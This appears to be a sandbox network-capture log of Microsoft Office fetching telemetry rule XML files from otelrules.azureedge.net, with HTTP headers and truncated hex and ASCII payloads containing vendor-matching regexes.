2024-11-16 03:34:01 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 383c7f00-901e-008f-5aa8-3667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033401Z-1866b5c5fbb7lvschC1DFW4rm000000002b0000000001q6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033401Z-164f84587bfbvgrghC1DFWbs7w000000023000000000qch3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033401Z-16547b76f7fp6mhthC1DFWrggn0000000p4g00000000evq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 747bfeb3-801e-00ac-34fa-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033401Z-164f84587bfrrmqdhC1DFWvu6s00000000u000000000cxtg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033402Z-16547b76f7fk9g8vhC1DFW825400000002wg00000000nb99 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033402Z-16547b76f7f775p5hC1DFWzdvn0000000p1000000000e0zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033402Z-1866b5c5fbb7km9phC1DFWr2sc000000015g000000002c0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033402Z-16547b76f7fmcv27hC1DFWgpcg000000011000000000ah7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033402Z-16547b76f7flf9g6hC1DFWmcx80000000bk000000000fkx9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033403Z-164f84587bf9nk94hC1DFWerbg000000014g00000000rqmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 191b9440-801e-00a3-5a28-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033403Z-164f84587bft9l9khC1DFW32rc000000024g00000000mukq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
